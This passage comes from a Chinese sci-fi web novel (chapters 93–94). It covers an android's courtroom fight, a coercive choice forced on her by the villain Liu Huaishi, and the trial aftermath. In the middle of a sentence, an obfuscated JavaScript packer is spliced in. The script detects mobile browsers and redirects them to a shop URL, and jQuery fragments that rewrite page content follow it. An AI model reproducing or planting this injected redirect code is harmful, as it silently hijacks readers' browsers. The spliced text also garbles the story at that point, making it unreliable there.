这种野性让他觉得宝贵且有趣。 这点思绪大概是身为仿生人的周向青无从得知的。 因为周向青现在只知道,如果不打败眼前这个仿生人,自己就没有办法接近柳怀石。 在她考虑这件事的时候,大脑的某个地方在向她报告,对方是PSX2型仿生人,而PSX2型的作战需要外置武器系统。 对方手里目前什么都没有。 虑及这一点,周向青动了起来。 她的目标是附近死去事务员身上的武器。 这是事务员们装备的,对抗仿生人最为有效的东西——能够切开反牛顿材质皮肤的丝线枪。 但PSX2跟她做出了同样的判断。她们几乎是在同一时间抢到最近的事务员身边,抽出枪,向对方的腿部射出丝线,也在同时向另一边翻滚,躲开对方的攻击。 带有倒钩的尖头擦过周向青的小腿,刺入她身后的墙面。她自己的攻击同样在两点之间连出了一条绷紧的弦。看到几不可见的半透明细线在阳光下那一丝丝反光,周向青马上意识到,没有命中的攻击也可以是一条足以限制对方行动的障碍。 而PSX2也几乎是在同一瞬间得出了同样的结论。 她们在同样的战斗模块指导下,一刻不停地在移动、闪避、发射、固定,在审计庭的地面上铺起自己用以捕捉对方的网。大理石地面上的鲜血尚未干涸,就像冰面一样滑不留行。一旦开始移动,也再没有轻易停下的机会。但情况已经如此,她,和她,也都没有反悔的余地。她们在点与点之间穿行、跳跃、旋转着避开攻击与障碍,时而像旗鱼一般张开手臂,飞撞向对手,以求抓住对方减速避让、从事务员身上拾取线轴的机会,一击得逞。 PSX2的身形更为高大,速度更快且更有力,但她的右臂不敢吃劲,在右转时稍有困难。前几次擦身而过,她试图用左侧先跟周向青接战,但均被周向青灵活避开。周向青在转向上灵活得多,很难抓住。她知道周向青的双眼除了留意自己以外,仍然给台上的柳怀石留着一线余光。于是她把丝线都留在柳怀石所在的看台,布下一道细致绵密的防御网,只等着周向青飞蛾扑火。 周向青自然也明白对方的思路。如果盲目地向柳怀石扑去,那么自己除了需要撞开空中的丝网之外,下半身也会暴露在PSX2的攻击范围内。但如果一直这么拖下去,情况也更加不利。事到如今也已经无法抽身而去,因为对方也正紧紧盯着自己。周向青能利用的,唯有对方体型较大,转身不便这点。 周向青不断缩小线与线之间的间隙,在一些位置留下唯有用特殊角度可以通过的通道。但PSX2机敏地避开了这些陷阱。双方活动的区域也越来越固定。PSX主要封锁了看台附近,而周向青在外场快速穿行。 柳怀石站在看台上,注视着下面两个仿生人之间的战斗。上个时代的技术如此高明,每次想到这点他就雀跃不已。他在一时恍惚中,还以为自己仍然是在卡比利亚的飞艇上,用望远镜着迷地看着脚下的情况。如果能够解除自动化禁令,恢复相关研究,那岂不是他就可以—— “易先生,我们是不是要输了?”审计长突然小声问。 这个老人居然能一直撑着,也是够可以的。但审计长看不清眼前的局势,居然认为己方要输,却让柳怀石颇为不快。 这怎么是输了呢?守得如此沉稳,分明已经利于不败之地,而周向青已经进不可进,退无可退,怎么就输了呢? 柳怀石正要开口反驳,却听到审计长又说:“不过没关系,易先生。熔炼组马上就要到了。” 这话让他猛地打了个激灵。 审计长看不懂现在的形势,那么董事会里的老家伙很可能更看不懂!当时是他力排众议,阻止把熔炼组部署在审计庭,就是为了公开展示仿生人的可控性。如今出了意外,却等到熔炼组出手才能解决,不单一切功劳都将不翼而飞,全部责任也会落在他的头上。 想到这一节,柳怀石握紧口袋里的抑制器,向前跨了一步,锐声喊道:“你等什么呢!快点抓住她!” 93.审判15 “——快点抓住她!” 周向青和PSX2都清清楚楚明明白白听到了这句话。 周向青并不知道柳怀石为什么要突然下达这种命令。她脚下不停,但一双眼睛却向柳怀石的仿生人转了过去。对方的眼神里没有一丝动摇,只是直直地望向她。 柳怀石的仿生人,必然会执行柳怀石的命令。 周向青的身体先她的意识一步,在空中转了个身,开始后退。而对方也开始动作,脚下加速向自己冲锋。 这样是不可能赢的。周向青想。她快速缩进自己布下的丝线陷阱。 但她也因此失去了先机。 PSX2并不是毫无思想地猛冲猛打,而是用这个假动作骗得周向青降低速度转入防守之后,在中场疾速绕行一圈,抄起那些事务员身边的防暴叉和电棍,左手先挺起一柄防暴叉,同时将其余武器先夹在右肋之下,如中世纪的骑枪冲锋般再次向周向青逼近。 周向青后悔无及,但她也只能像被鲨鱼追击的小鱼,跟据对方的前进方向机动避让。她有自信在这里比对方更快。 但PSX2并不打算跟她玩猫抓耗子的追逐游戏,左手叉在前方挑开几道丝线,然后将叉柄用力插进地面,丝线就像弓弦一样拉长紧绷,同时也让出了一叉高的缝隙。然后PSX2又抽出一柄,故技重施,又轻易破坏了另一处陷阱。周向青一咬牙,她不能等着对方一步步逼近,只得错身向前,去抢对方已经立好的防暴叉;但PSX2早已洞悉她的打算,挥舞着电棒横冲直撞,把周向青驱赶回密布的丝线之间。周向青只好等待下一次机会。 她每一次等待,地盘都会减小一块,闪躲腾挪的空间也就更小。 但反过来说,PSX2手中的防暴叉并不多,而且需要防守的空间扩大之后,PSX2也无法那么容易就拦阻她。 她和PSX2都在等待那个转折点,只是不知谁的转折来得更早。 “快点抓住她!抓住她就行了!”柳怀石远远地喊道。 抓住她就行了? 周向青听到了柳怀石强调“抓住她”三个字,但她实在没时间去思考柳怀石的命令有何意义。而且PSX2听到这个命令后,丢下其余几柄防暴叉,只左手握着最后一杆,右手带着电棍,向她笔直冲了过来。 周向青知道,对方已经不打算再后退。 胜败只在此一举。 PSX2仍然像前几次一样,用防暴叉的叉头把几道丝线挑开,只是这次她并不打算将叉子留在原处,只是将丝线压低,自己抬腿蹁身,在空中一个侧滚,就突进了周向青的地界。周向青用只留最后两发的射线枪去封PSX2的双腿,但对方用电棒挡住了射来的钉头。钉头围着电棒转了几圈,周向青猛地一拽,电棒的外壳被丝线切断,里面两个电极被线勒在一起,短路放电。PSX2把放电中的电棍冲着周向青丢去,而趁周向青旋身躲避的空挡,长出防暴叉铲中周向青的脚踝。 周向青一个趔趄,索性借势俯身,左右手一齐撑地,让身子鱼跃倒飞而出,恰好从几道丝线中钻了出去。而她所去之处恰好又是第一柄防暴叉设立的位置,所以PSX2急忙铲开丝线,打横拦截过去。周向青正待要从那里钻出,却不料PSX2已把手中防暴叉朝着第一柄叉子用力一掷,那叉杆中间一弯,就被绷紧的丝线撅成两段。叉杆碎片四溅,丝弦上下震动嗡嗡作响,周向青出去的路也被截断。 周向青急忙捡起面前的防暴叉,转身待敌。虽然这叉子不算多长,但也能逼开对方不至于“抓住”自己。 此时她想起姜原那天跟她讨论的事情,不由倒抽一口冷气。 难不成柳怀石想要靠抓住自己的瞬间,启动那能让仿生人崩溃的装置?但那岂不是她和柳怀石的仿生人一起完蛋吗? 但PSX2已经又捡了一柄叉,一支电棍,冲将过来。这条路上没有丝线阻隔,对方速度奇快。周向青挥叉横扫对方腿部,但PSX2的左手早用叉头向下一戳,恰恰将周向青的叉头钉在大理石地面,同时右脚尖踩上周向青的叉柄,拧身一转,左腿扫向周向青面门。周向青撒手后撤,PSX2右腿失力,左腿变扫为踏,右手的电棒借势搂头劈下。周向青左手拍开PSX2的右腕,但也不敢多作接触,先转身环步后撤,准备拉下另一根防暴叉,把PSX2关在两道丝幕之间。 然而周向青竟忘了,PSX2左手仍然握着刚才插入地面的叉柄。叉柄在刚才的那一段连击中已经拉弯,而PSX2在一劈不中后已经踏上自己面前的两根丝线。她竟借着这两段的弹力加上腿力,把自己化为一支长矛,向周向青发射过来。周向青知道自己不及闪避——对方还握着那一只电棒——只得牙一咬,沉腰低身,右拳笔直向前击出。 只听得噼啪连声,她的右拳与电棒撞击的瞬间分散成无数条黑色的纤维,向PSX2的身后射去。她这一拳并非是为了打伤对手,而是为了让圣女草的仿生肌肉撞开PSX2身后的叉杆。叉杆弯曲爆裂,弹回的丝弦击中PSX2的双腿,直接切开了腿部的皮肤,露出最里面的金属骨架。但PSX2终究是比周向青预料得更快一些,周向青来不及将她推开,她的右手已经紧紧抱住了周向青的脖子。 周向青不由得闭上了眼睛。 皮鞋踏地的咔咔声中,那个人伸出戴着纯白皮手套的左手,撩开丝线,让酒红色商务套装的身体钻了进来,随后挂着丑陋笑容的黄色大脸在她前方升起。 是“易谦明”。也是柳怀石。 他把鸟笼带了过来。 柳怀石的手伸进鸟笼。胖球对着这个慢慢蠕动的怪物又抓又咬,但还是被那只手紧紧捉住,从鸟笼中扯了出来。 “我早就警告过你了。”柳怀石说。 “你别动它。”周向青叫道。 “为什么呢?”柳怀石看了看手中的胖球。“难道说,它是什么重要人物送给你的礼物,包含着什么秘密?或者说,它是你这个仿生人唯一的生物朋友,从中能感受到自己所没有的生命活动?还是说,你根本不知道自己为什么要养着它,你只是害怕一旦失去就无法挽回?” “我——”周向青用力挣扎,但她没办法把自己身上的仿生人推开。那仿生人的腿虽然已经不能动了,但仍然死死抱着她不松手。 “我跟你说过了。听我的吩咐来,我就把你想要的信息都给你。你就可以像蠢兮兮的小狗一样,追着那个人扔给你的一条又一条线索跑下去,不是吗?”柳怀石把他的大脑袋凑到周向青的面前。 周向青恨不得马上一口咬下去,但之前她也有过好几次机会,但始终无法直接抓到柳怀石,也不知道到底是什么原因。 “我才不是什么小狗。”她说。 “但你并不是人。而且,你的反抗失败了。”柳怀石从另一边的口袋中掏出一个小小的遥控器,对着周向青晃了晃。“只要我按下这个按钮,你就会像之前一样,失去意识。” 周向青又用力挣扎,但始终无法挣开PSX2的控制。 ——抱歉,但你就顺从他吧。 她听到一个微弱的声音。 我绝不。周向青咬着牙在心里说。倒是你,为什么在知道那些事情之后,还能够照着他们的安排做下去? ——我不知道。那个微弱的声音说道。 “不过,我还是决定给你一个机会。”易谦明的声音突然变得温和而又开朗。“我决定给你一个选择的机会。而且这对你来说,应该是个非常简单的选择。我相信你一定可以选择正确的答案。” “我呸。” “很简单的。你看,这是我的遥控器。上面有两个按钮。第一个按钮是启动紧急停机系统,这会导致你,还有她,马上失去意识——我当然不推荐你按这个;但下面这个红色的按钮,对,就是这个,如果你按下这个开关,现在缠住你,让你动弹不得的仿生人的脑袋就会爆炸,然后你就可以走了。我也会把这只鸟还给你。” 柳怀石的仿生人动了一下。“主人——” 但柳怀石并没理她,而是轻轻用力捏了捏胖球的胸脯。胖球痛得叫了起来,声音凄惨。“但如果你不愿意按下这个按钮,那么,我就拧断这只鸟的脖子。” “你……你居然!”周向青怒道。 他得意地笑着,继续说道:“当然,头一个选择对你非常有利不是吗?既能够堂堂正正地从这里走出去,又能保全你鸟儿的性命,简直太划算了。我觉得你肯定不会选择第二个选项,用你活生生的鸟儿去换一个仿生人,一台旧机器吧?而且这台机器就在刚刚还在跟你性命相搏。怎么样?你怎么选?” “主人……”PSX2发出一声低低的呻吟。 “对了,虽然她也听到了我们刚才的话,但她绝对不会反对,也不会松开你。因为我在她这里装了一个小小的、屏蔽自主性的插件。这样她就不会多做什么没有意义的事情。”柳怀石敲了敲自己的太阳穴。 周向青咬紧了牙关。 诚然,柳怀石给她开出的条件是无可拒绝的。炸掉这个PSX2,能够让她马上离开这里,至少能保全她的鸟儿。而且这个仿生人还是柳怀石控制银行的重要工具。这不可能是柳怀石想让她选的选项。 但她也不能看着自己的胖球被柳怀石—— 柳怀石面带微笑,把遥控器塞进周向青的掌心。 “来,按吧。”他兴高采烈地说。随后又用极小的声音加了一句:“就像曹文道那样。” 周向青瞪圆了眼睛。 在这种时候,他居然敢提起曹文道! 但她无论如何,不能看着自己的胖球死掉。 何况柳怀石绝对是在骗她。柳怀石不可能把自己的身家性命都交在她的手里。就算她把那个按钮按下去,也绝对什么都不会发生。顶多就是柳怀石大声地嘲笑自己—— 但她真的可以做出这个选择吗? 像曹文道一样的选择? “你还不按吗?”柳怀石把手握上了胖球的脖子。胖球拼命挣扎着,但一只鸟无论如何都不可能与人类的力量抗衡。 何况这是柳怀石。 周向青使尽浑身解数,也没能成功打到他一次。 “如果你还不按,我就开始记时了。”柳怀石的声音有点不耐烦起来。 但周向青还是没有按下按钮。 “9!”柳怀石喊道。“8!” 周向青用力瞪大她的眼睛。她的身子几乎无法移动,但她还是用这最无力的方式攻击他。 “7!6!5!”柳怀石后退了两步。他的声音更显烦躁。 但周向青的手指还是纹丝不动。 “4!3——!” 周向青一动不动。她看着柳怀石手里的胖球。胖球扭动着身体,表明它仍然是一个活物。 “2————!” “1!”柳怀石恼怒地把八哥举了起来。 也正是在这时,周向青看到,柳怀石身体不远处有一根细细的丝线在微微晃动。虽然那根丝线几乎细不可见,但它在光线下还是折射出了一点亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355250|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迹。周向青的目光跟着那晃动一路寻找,最终尾随到——一片空气之中。 但那里看上去什么都没有。 “0!” 柳怀石的双手重重一拧。 那小小的、黑色的身体不再挣扎了。 周向青默默地望着柳怀石身后的那一团空气,一言不发。 就在那一瞬间,一声清亮而悠扬的长音,在她的大脑最深处久久回荡,显得空灵且又寂寥。除此之外仔细分辨,还能听到低沉而嘈杂的咕噜声,然而那声音很快又与她自己身体内部的砰砰与呼呼声混在一起,自然得分不清彼此。 她感觉自己的意识正在远离身体而去,冰冷而刺痛的感觉从指尖向心脏蔓延。 然后她听见了一个更清晰的声音。一个不断跳动的声音。 一个代表生命的声音。 “你为什么不按按钮!”柳怀石几乎是用咆哮般的声音问道。“而且你为什么没有崩溃?” 这就是崩溃的感觉吗? 自动化大崩溃中的每一个仿生人、每一个AI、每一台被摧毁的机器,都是这种感觉吗? “我不怕。”她说。 “不怕?什么不怕?你为什么不怕?你不怕什么?你有什么——可以不怕的?”柳怀石对着她喊道。 “因为我不怕面对一台老旧的机器人。”周向青道。她并不是在跟柳怀石说话,而是在跟那个已经不在了的易谦明说话。“因为我觉得,我可以看它,也可以不看它,那都是我自己的选择。而无论我怎么选择,我自己仍然都在这里。” “什么老旧的机器人?你到底是什么意思——难道是谁先一步改造了你?不可能是姜原,难道、难道是——?”柳怀石一个人喃喃自语,一面烦躁地抓挠着头套。最终他失去了耐心。柳怀石猛地从周向青手中抽出遥控器,把信号发射头对准周向青的脑门。 “反正我已经赢了!你输了。虽然不知道你到底在想什么无聊的小事,但你输了!” 周向青没有说话。她盯着柳怀石身后那空荡荡的空气。 远处传来一阵嘈杂的争执声。 “你就等着拆成零件,被我研究吧。”柳怀石恨恨地说。 “那恐怕不太好吧。” 一个声音在他们身后说道。柳怀石猛地回过头去,只见一架无人机不知何时从何处钻了进来,正绕着他们不断嗡嗡飞行。要不是他们刚才都过于紧张,否则早就应该注意到这无人机的存在了。 柳怀石注视着无人机黑洞洞的摄像头,反问道:“不然呢?” “不然他们大概不会放过你。”声音从无人机里传了出来。周向青认出那是姜原的声音。 “他们?他们是谁?你在说什么?” “他们就是他们。现在可是有成千上万的人正在看着你呐。” 无人机撂下这么一句话,慢慢拉开了与柳怀石之间的距离。而之前嘈杂的声音也越来越近,一群人撞开了审计庭的大门,蜂拥而入。他们都是附近的市民,手里拿着棍棒与铁锹,领头的几个男女还举着“还我血汗钱”、“打倒吃人银行”的牌子。 柳怀石看到那群人,一时不知如何是好。煽动这些人本是他计划中的一环,但都因为周向青背叛的缘故,他原本周全的计划已经无处着落。他点起来的这把火居然烧到了自己头上。人群喊着口号,向柳怀石逼近。最前面的几个人已经撞上了前面的丝线,挥动牌子,呼吁人群先停下来。 柳怀石看看人群,又看看自己手中的植物神经抑制器,一时不知道如何是好。他是该先安抚这些人?还是应该在董事会之前…… “主人——”柳怀石的仿生人再次呻吟道。 “你给我闭嘴!”柳怀石吼道。不,他不能去考虑退路。早就没有退路了。柳怀石调动脖子上的肌肉,硬生生地把自己的头拧向周向青。他已经错过了扣下扳机的最好时机。虽然没有人看得到,但冷汗还是从他的额头上流了下来。 董事会还能信任他吗? “熔炼组来了!”人群中爆发出一阵叫喊。随后是大量厚重皮靴踏上地板的沉闷响声,以及石块砸上盾牌、棍棒敲打□□,还有人们呼喊跑动的声音。抗议的人潮被暴力分成两段,而一个破锣似的声音从中传了过来。 “易先生!请你出来!”那人喊道。 柳怀石用不着回头,也知道那是谁。之前他接到的电话就是这个声音。而周向青显然也猜到了那人究竟是谁。因为周向青的脸正对着柳怀石的背后。 “所以你要怎么办呢?”周向青问。 “你也给我闭嘴!”柳怀石骂道。但他还是不由自主地回过头去。 而就在柳怀石移开视线的这一刻,周向青猛地推动PSX2的身体,同时让自己右手的仿生纤维错位伸长,笔直抓向她刚才就一直瞄准的空气。 那个黄色的丑陋笑脸,被她撕了下来。 柳怀石戴着变声器的脸,暴露在众人之前。 光线刺得他不由得眯起了双眼。在那一瞬间的黑暗中,在人们的惊呼声响起之前,在那破锣般的声音的男人拂袖而去的预感中,柳怀石扣动了植物神经抑制器的扳机。 铜触点相撞,电容器内的电流涌入集成电路,预先设置的抑制信号冲出放大器,穿透了周向青的太阳穴。 但她和柳怀石也几乎在同一时间,听到了那已经听过许多遍的,法槌敲在审判台上的声音。 砰! 她的嘴角露出了一丝笑容。 然后她倒了下去。 94.审判16 周向青睁开双眼的时候,发现自己面前是一片雪白。 她躺在一间像是病房的屋子里,旁边的手术台上乱七八糟地摆着不少工具。姜原正站在窗前看外面的景色。病床正前方的电视被他调成了静音,上面只有一个人在无声地手舞足蹈。 周向青想坐起身子,却不料右边空荡荡的,一下撑了个空。姜原听到动静,急忙回过头来。他想说什么,但又没有说出口,只是闲聊似地扯了一句:“这地方的雾还是这么大。” 周向青重新坐起身来,发现她的贴身衣物,以及从统修会一路穿来的护甲,都已被拆下来,整整齐齐摞在一边。而骑士铁臂也被装回了玻璃筒里。她急忙低头检查自己身体各处,所幸没有看到任何痕迹。她不太敢相信,又去看手术台上的工具。 姜原说:“他们非要检查你到底有没有被人动过手脚,但什么都查不出来。因为他们这十几年都没看过真正的仿生人,脑子里以前的旧知识都模糊不清,就更别提动手了。能做的只有柳怀石,但他们现在信不过他。最后只好不了了之。” 周向青点了点头。 她对着空气发了一会呆,问道:“胖球呢?” “胖球……胖球已经……” 周向青又点了点头。这也是她亲眼看到的事情。 “但我请人做了这个。”姜原伸出手掌,他的掌心里是一个小小的白色的鸟类头骨,几片黑色的羽毛用琥珀固定在头骨的背部,用带彩色串珠的绳子串成了一条项链。 “谢谢。”周向青说。她接过项链,轻轻摸了摸,把它贴在自己的心口。 姜原转过身,又去看窗外了。 过了一会,周向青又问:“现在是什么情况?” “现是重播。电视里是重播。”姜原急忙回过身。他看到,周向青已经戴上了项链。 “所以——我只昏过去一小会?” 姜原笑了笑。“才不是咧。距离他们决定重新启动你,已经过去一周了。我真不敢相信他们的动作这么慢。但也难怪,毕竟你们捅出那么大的篓子,而我又把全过程直播出去了。他们前两天才算是总结出一套说辞,然后开始反复重播那天的庭审现场了。” 姜原说完,放大了电视的声音。 电视上正在播放庭审最后那一幕。骑士铁臂的圣女草纤维解散重组,长度暴长,一下子就撕下了柳怀石的头套。柳怀石扣动扳机,周向青随即倒下。审计长连连敲击审判台,熔炼组的士兵大踏步冲向柳怀石,却扑了个空。柳怀石的身影一闪,出现在另一个位置。他举起手,在士兵的吼声中慢慢跪了下去。 周向青看着镜头中的自己。电视上的画面像是假的,但又像是真的。就像是自己的灵魂离开了身体一样。蛮奇怪的观感。 审计长对着柳怀石大声宣布他的罪状。 庭审最后一幕戛然而止。镜头一转,又是熔炼组的士兵们突入人才贸易银行大楼的一幕。穿着防化服的工作人员收集了人体组织,又在柳怀石的机器上找到了阿福的仿生脑和身体残骸。 “……铸造局已经确认,人才贸易银行行长易谦明确实死亡。但同时他们也确认,易谦明的‘管家’,原来真的是一台旧式仿生人。这的确验证了仿生人周向青在庭审中的证词。我们当时以为她是胡言乱语,没想到她所说的居然是真相。虽然人们都一致认为,杀死易谦明的凶手毫无疑问就是在庭审中扮演易谦明的柳怀石,但要知道,周向青在庭审中也的确说过,易谦明是自杀的。所以究竟柳怀石是否就是凶手,我们恐怕仍旧需要周向青来重新作证。恐怕没人能够想到,前几天在审计庭接受审判的仿生人,如今竟然成了我们破案的重要线索……” 在新闻播报员说到这里时,姜原重新调低了电视的音量。 “所以他们就是为了这个?”周向青不免觉得好笑。那天她做出那样的决定,付出那样的代价,就是为了不成为任何人的工具。但这些人如今居然指望她会出庭作证。 “我不想、也不会配合这些人。你想配合你去配合吧。”她说。 “这个嘛——他们倒是问过我了。”姜原说。 “那你什么都没说?”周向青问。 姜原摇了摇头。“我说我什么都不知道。” 周向青马上明白了姜原的想法。姜原如果作证柳怀石曾经筹划谋杀易谦明,那么他自己会作为从犯而被怀疑。 “所以你想让我不要提这件事?”周向青皱眉。 “那倒也不至于。我可不想‘让’你干什么。” “别耍滑头。” “哈哈。这么说吧,你知道我那天为什么要跑到你那边去?” 看到周向青不答话,姜原只好自己续道:“你在审计庭上苦苦支撑的时候,我拿到了两个信息。一条我花钱买来的,是说柳怀石大概是在帮学院一个叫沈愈的人做事;另一条是我用易谦明的机房恢复破解出来的,世界政府文档的信息。世界政府在自动化大崩溃局势失控前的最后两个月,一直在忙一个项目。这个项目的代号叫茂山实验。‘茂山’得名自主持实验的两个人,一个叫刘茂德,一个叫祁山风。然后他们实验的目的,就是寻找自动化大崩溃的原因,以及解决办法。” “他们大概没有成功吧。要成功了也不会有现在了。” 姜原笑了笑,继续说道:“的确。但我们一直想要找到茂山实验的旧址,看看有没有没出现在官方文件里的成果,但由于文件缺失一直无法定位。上次我去石岗城,其实就是为了确认那里新发现的遗迹是不是茂山。动身前,有一位教授警告我,不得私自翻阅拿到的任何文件。” “他就是沈愈吧。” “没错。当然,那次任务是失败的。但我也开始好奇沈愈到底在搞什么东西。一次我偷偷翻到了他在文件上做的笔记。上面写着‘韦式池’三个字,还有一个问号。然后在这次的文件里,我找到这么一段话。” 姜原递给周向青一张打印纸。 上面印着: ……在使用别林斯基干涉法,对切除了仿生脑菱角体以屏蔽可能的道德干扰之后,我成功地使人工智能稳定了下来,看来大崩溃本身应当源于菱角体内的价值判断的某个环节。只是难以锁定究竟是哪个环节。而且由于菱角体为仿生脑提供了所有的主动性,所以在切除这一部分的仿生人中,观察到了行动力丧失的现象…… ……我因此产生了一个想法,是否能够通过脑机接口引入人类的主动性,以求在无法锁定菱角体崩溃环节的情况下,能够保证行动力和生产力……但在实践中,原本为了模仿人类而生成卡戴混沌态的仿生脑无法完美解码脑机接口传来的信号,这使得原本的构想遭遇了失败…… ……实验的目标更改为,尽快研发一种更有效的转换形式,能够替换脑机接口注入人类的主动性。某种程度上说,如果能够将人类意识的混沌态复制到仿生脑内,那么或许可以实现一种不会崩溃的自动化,而这就完全可以修复现有生产线完全停滞的主要问题……而这需要至少再跟最高议会争取两个月的时间,以及搭建韦式池相应的资源…… 报告最后有一行手写的批复。 ——没有时间了。你搞得成就搞,搞不成就算了吧。祁山风。 “这篇报告的批复日期是茂山实验结束的前一天。”姜原道。 周向青皱眉道:“如果‘茂山’在搞韦式池,而沈愈也在搞韦式池,而柳怀石在帮沈愈做事,所以你觉得柳怀石在尝试复制茂山实验?” 姜原指了指那张纸:“这里不是说,‘韦式池’是能‘把人类意识的混沌态复制到仿生人脑内’的东西吗?而易谦明的黄蜂——” “恰好能做同样的事情!”周向青惊呼道。如果柳怀石的目的是夺取易谦明的黄蜂,从而搞出一个功能类似韦式池的实验装置,那么对研究自动化大崩溃的成因来说…… 周向青迟疑片刻,摸了摸自己的项链。“我没有做坏事。” 姜原道:“你没有。他做的才是坏事。好事不是像他那样做的。而且他也不见得能做成。” “因为什么?” 姜原并没有回答。他的视线转向一边。周向青顺着他的目光看去,发现自己的红色帽子正摆在那里。青色的货运飞船标志中央,是一道黄色的闪电。 那个人。 “那个人”在9年前,就已经拿到了这群黄蜂,并把黄蜂和阿福留给了易谦明。他那么神通广大,十有八九知道茂山实验,知道韦式池,知道这些东西是用来干什么的。那么,他为什么没有用黄蜂去做应该做的事? 或许他并不知道? 又或许他做了,然后失败了? 又或许他知道可以,但只是对这件事没有兴趣? 周向青不知道这些问题的答案是什么。这些问题有一万种答案,而每一种答案都可能是真的。但姜原告诉她这些干什么?姜原只是想避免被逮捕罢了,她一瞬间冒出这样一个念头。不。如果那样,他早就可以跑掉,没有必要等到现在。那么柳怀石的实验到底是为了什么? 周向青用力摇了摇头。这些信息让她脑袋闷闷的,与其这么苦苦思考,倒不如当面去问一问。 但她不想跟柳怀石见面。她恨死他了。 “我待会再去跟柳怀石见个面。”姜原看了看表。“一小时后开庭。审判结束之后或许还有机会,但他大概还是什么都不会说。反正等你好一点,我们就走得远远的。” 周向青叹了口气。 姜原叹道:“大概这就是不可承受的生命之轻吧。” ### “姜原先生,你为什么会在凌晨这种特殊的时间去人才贸易银行?” “庭上。因为易谦明先生拜托我们调查连环杀人案相关的事情,而我们收集到了关键性的信息,想要跟易先生讨论一下。” “你们收集到了什么信息?” “因为我在马延仙遇难当天,听到了凶手跟他的对话。凶手说,为了人类整体着想,他只是请马延仙给其他人一个机会。结合这座城市的社会文化,我认为这句话是跟价值评级系统有关联。所以我想跟易先生讨论一下这件事情。” “你为什么不跟铸造局报告?” “我跟铸造局报告过了,他们并没有重视。您应该能在我那天的口供中找到这句话。” “但你们并没有跟易谦明预约,是怎么回事?” “因为他的管家极力拒绝。导致我们怀疑易谦明先生跟此事有某种程度的关联,所以才采用了不告而入的方式。” 周向青并不想来。但是她还是来了。 因为她还是在意姜原之前告诉她的事情。如果是学院的沈愈为了韦氏池才让柳怀石到这里来的,而柳怀石想要用易谦明的人才贸易银行,就是想用那么一大堆黄蜂,把收集到的人类意识直接灌输到其它放生人的身体里,那他们到底想干什么?难不成就是为了制造出一些既不是人,也不是仿生人的……东西?而且被复制出意识的人,要如何处理呢? 她想象不出那会是怎样一种光景。 她把耳朵贴在墙上,听着姜原的对答。姜原显然非常擅长这类答辩。他话语简短,意见清晰,而且也没有什么破绽。他一句都没有提那天晚上他跟柳怀石之间的协议。 然后审计庭又传唤了关铁震、郑小楼,还有几个她不认识的人,最后才轮到她的名字。她穿过走廊,直接走上证人席。 上一次她打斗留下来的痕迹基本已经被清理干净,只是在石板的接缝中仍然残留着一些没有洗净的血痕。那天逝去了不少生命。人的,还有动物的。她或许不应该做得那么极端。但对方也不是什么善类,并不会平白无故地给她机会。她现在能够回来,也是对方需要她来证明柳怀石有罪或无罪。 她好像有点理解在环运城的最后一天,姜原在那片蓝天下的选择了。 无论文明发展到什么地步,人类始终是野蛮的。 柳怀石和她之前一样,坐在被告席,那个T字形审判台的最末端。柳怀石的头发比以前更油了,眼镜腿上缠的胶布也让他看起来比之前更加狼狈,但他仍然是昂着头,并没有一点服输的意思。大概就是因为他这样的性格,所以才能走到这一步,但也就是因为他这样的性格,才把她逼到了那种处境。 这也是一种选择。 她对不起胖球。 周向青摸着胸前的项链。 “仿生人周向青。”柳怀石的辩护人开始提问。“当天你被铸造局所羁押,在脱逃后就直接赶往人才贸易银行。为什么?为什么你不惜越狱,也要赶到银行去?” 她要赶到银行的原因是害怕姜原听了柳怀石的话,先一步干掉易谦明。周向青在脑子里答道。但她要不要这么说出来?在这整起事件中,每个人都有自己的目标,每个人都不惜为了达到自己的目标而采用一点肮脏的手段。这就是人类社会运行的法则。而她,也有自己想要达成的事情。 “因为我……想见到易谦明先生。”周向青答道。 “但你第二天仍旧可以见到他。” “是。但那天我已经注意到他有一些不对劲。我当天晚上看到易谦明先生的管家——在干一些奇怪的事情。所以我猜易先生可能是因为这个而不想让我继续留在银行——” 周向青在思考自己到底应该说什么,不应该说什么。她不希望说谎。但她也不知道自己是不是应该揭破柳怀石。她只得先说一些她认为没有关系的事情。但对方也明显知道她在干什么。 肃自委委员道:“仿生人周向青,如果你想为你的仿生人同伴做掩护的话,大可不必。我们已经在银行中找到了仿生人的残骸。大家已经认出,那就是易谦明之前的管家。” “是。他的管家是仿生人。我 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“因为易先生这些年之所以能够运营人才贸易银行,就是因为他的仿生人。是他的仿生人在替他收集、整理所有的信息,帮助他做出判断。易先生认为实际上运营银行的是他的管家,他的管家才是银行的实际拥有者。而易谦明先生之所以能够通过仿生人来经营管理人才贸易银行,是因为——他改造了他的仿生人,让仿生人管家能够利用本地的活化机械,一种黄蜂状的动物跟这座城市所弥漫的雾气的共生关系,收集关于所有人的信息。” 周向青越说越多,越说越快,越说越自然。当然,她并没有提马德兰,没有提“那个人”跟易谦明之间的关系。她把一切都归功于易谦明自己。毕竟,如何利用这些活化机械,是易谦明自己想出来的办法。人才贸易银行是属于易谦明自己的天才设计,她并不认为马德兰可以、或应该夺走它。银行,还有他的自我,是他直到死都心心念念的东西,就让易谦明在地下保留着它们吧。这不是怜悯,也不是人死为大,而是对他价值的认可。 “总之,易谦明一直在怀疑自己,怀疑自己的价值是不是可被取代的。所以他在夜里出去寻找那些他自己认为不具有价值的人,用自己手里的信息去摧毁他们的意志,逼迫他们自杀,试图通过这种方式重新找回自我。但在他的仿生人崩溃之后,他也失去了对自己找回价值的希望,最后那个夜晚的易谦明,对着已经失去价值的易谦明,扣下了扳机。整件事大概就是这样。” 她讲完了自己的故事。 她的话音落下良久,在场所有人仍然屏住了呼吸,久久无法做出判断。 肃自委的委员没有提出任何问题,而柳怀石的辩护人也同样没有异议。审计长跟他的组员商议良久,都没有做出裁决。 最终从角门里进来一个穿着制服的人,递给审计长一个白色的信封。审计长拆开信封,看了看里面的内容,便举起法槌,重重敲下。 